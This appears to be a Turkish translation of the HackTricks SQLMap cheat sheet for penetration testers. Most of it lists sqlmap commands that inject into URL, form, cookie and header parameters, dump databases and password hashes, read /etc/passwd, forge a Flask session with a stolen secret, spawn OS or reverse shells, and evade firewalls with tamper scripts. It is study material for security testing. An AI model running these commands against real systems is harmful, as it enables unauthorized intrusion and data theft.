hacktricks/pentesting-web/sql-injection/sqlmap
2024-04-07 03:13:19 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:13:19 +00:00
second-order-injection-sqlmap.md Translated to Turkish 2024-02-10 18:14:16 +00:00

SQLMap - Hile Kağıdı

Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.

{% embed url="https://pentest-tools.com/" %}

SQLmap için Temel Argümanlar

Genel

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Bilgi Al

İçsel

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB verileri

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Enjeksiyon Yeri

Burp/ZAP yakalama

İsteği yakalayın ve req.txt adında bir dosya oluşturun

sqlmap -r req.txt --current-user

GET İsteği Enjeksiyonu

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST İsteği Enjeksiyonu

sqlmap -u "http://example.com" --data "username=*&password=*"

Başlıklarda ve Diğer HTTP Metotlarında Enjeksiyonlar

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Enjeksiyon başarılı olduğunda dizeyi belirtin

--string="string_showed_when_TRUE"

Değerlendirme

Sqlmap, her bir yükü göndermeden önce onu işlemek için -e veya --eval kullanımına izin verir ve bunu bazı python oneliner'larıyla yapar. Bu, yükü göndermeden önce özelleştirilmiş şekillerde işlemeyi çok kolay ve hızlı hale getirir. Aşağıdaki örnekte flask çerez oturumu, gönderilmeden önce flask tarafından bilinen sır ile imzalanır:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Kabuk

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Dosya Okuma

--file-read=/etc/passwd

SQLmap ile bir web sitesini tarama ve otomatik olarak açıkları kullanma

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

İkinci Derece Enjeksiyon

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Bu yazıyı okuyun, sqlmap ile basit ve karmaşık ikinci sıra enjeksiyonları nasıl gerçekleştireceğiniz hakkında.

Enjeksiyonu Özelleştirme

Bir sonek ayarlayın

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Önek

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Boolean enjeksiyonunu bulmaya yardım etmek

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Değiştir

Unutmayın ki kendi değiştiricinizi Python'da oluşturabilirsiniz ve çok basittir. Bir değiştirici örneği İkinci Derece Enjeksiyon sayfasında burada bulabilirsiniz.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper ıklama
apostrophemask.py Apostrof karakterini UTF-8 tam genişlik karşılığıyla değiştirir
apostrophenullencode.py Apostrof karakterini yasak çift unicode karşılığıyla değiştirir
appendnullbyte.py Yükün sonuna kodlanmış NULL bayt karakteri ekler
base64encode.py Verilen yükteki tüm karakterleri Base64'e dönüştürür
between.py Büyüktür operatörünü ('>') '0 VE #' ARASINDA OLMAYAN' ile değiştirir
bluecoat.py SQL ifadesinden sonra boşluk karakterini geçerli rastgele bir boş karakterle değiştirir. Daha sonra karakter = 'i LIKE operatörüyle değiştirir
chardoubleencode.py Verilen yükteki tüm karakterleri çift url-kodlar (zaten kodlanmış olanları işlemez)
commalesslimit.py 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir
commalessmid.py 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir
concat2concatws.py 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir
charencode.py Verilen yükteki tüm karakterleri url-kodlar (zaten kodlanmış olanları işlemez)
charunicodeencode.py Verilen yükteki kodlanmamış karakterleri Unicode-url-kodlar (zaten kodlanmış olanları işlemez). "%u0022"
charunicodeescape.py Verilen yükteki kodlanmamış karakterleri Unicode-url-kodlar (zaten kodlanmış olanları işlemez). "\u0022"
equaltolike.py Tüm eşit operatörlerini ('=') 'LIKE' operatörüyle değiştirir
escapequotes.py Ters eğik çizgiyle tırnakları (' ve ") kaçırır
greatest.py Büyüktür operatörünü ('>') 'GREATEST' karşılığıyla değiştirir
halfversionedmorekeywords.py Her anahtar kelimenin önüne sürümlenmiş MySQL yorumu ekler
ifnull2ifisnull.py 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir
modsecurityversioned.py Tam sorguyu sürümlenmiş yorumla kapsar
modsecurityzeroversioned.py Tam sorguyu sıfır sürümlü yorumla kapsar
multiplespaces.py SQL anahtar kelimelerin etrafına birden fazla boşluk ekler
nonrecursivereplacement.py Önceden tanımlanmış SQL anahtar kelimelerini değiştirmek için uygun temsilcilerle değiştirir (ör. .replace("SELECT", "")) filtreler
percentage.py Her karakterin önüne bir yüzde işareti ('%') ekler
overlongutf8.py Verilen yükteki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemez)
randomcase.py Her anahtar kelime karakterini rastgele büyük/küçük harf değeriyle değiştirir
randomcomments.py SQL anahtar kelimelere rastgele yorumlar ekler
securesphere.py Özel oluşturulmuş dizeyi yükün sonuna ekler
sp_password.py Otomatik karışıklıktan kaçınmak için yükün sonuna 'sp_password' ekler
space2comment.py Boşluk karakterini (' ') yorumlarla değiştirir
space2dash.py Boşluk karakterini (' ') tire yorumu ('--') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir
space2hash.py Boşluk karakterini (' ') bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir
space2morehash.py Boşluk karakterini (' ') bir diyez karakteri ('#') ve ardından rastgele bir dize ve yeni satır ('\n') ile değiştirir
space2mssqlblank.py Boşluk karakterini (' ') geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir
space2mssqlhash.py Boşluk karakterini (' ') bir diyez karakteri ('#') ve ardından yeni satır ('\n') ile değiştirir
space2mysqlblank.py Boşluk karakterini (' ') geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir
space2mysqldash.py Boşluk karakterini (' ') tire yorumu ('--') ve ardından yeni satır ('\n') ile değiştirir
space2plus.py Boşluk karakterini (' ') artı ('+') ile değiştirir
space2randomblank.py Boşluk karakterini (' ') geçerli alternatif karakterlerin bir kümesinden rastgele bir boş karakterle değiştirir
symboliclogical.py AND ve OR mantıksal operatörlerini sembolik karşılıklarıyla değiştirir (&& ve)
unionalltounion.py UNION ALL SELECT'i UNION SELECT ile değiştirir
unmagicquotes.py Tırnak karakterini (') çoklu bayt kombinasyonu %bf%27 ile değiştirir ve sonuna genel yorum ekler (çalışması için)
uppercase.py Her anahtar kelime karakterini büyük harf değeriyle değiştirir 'INSERT'
varnish.py Bir HTTP başlığı 'X-originating-IP' ekler
versionedkeywords.py Her fonksiyon olmayan anahtar kelimeyi sürümlenmiş MySQL yorumuyla kapsar
versionedmorekeywords.py Her anahtar kelimeyi sürümlenmiş MySQL yorumuyla kapsar
xforwardedfor.py Sahte bir HTTP başlığı 'X-Forwarded-For' ekler

Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu. 20'den fazla araç ve özellikle birlikte her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - onlara daha fazla derinlemesine kazma, kabukları patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

{% embed url="https://pentest-tools.com/" %}

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: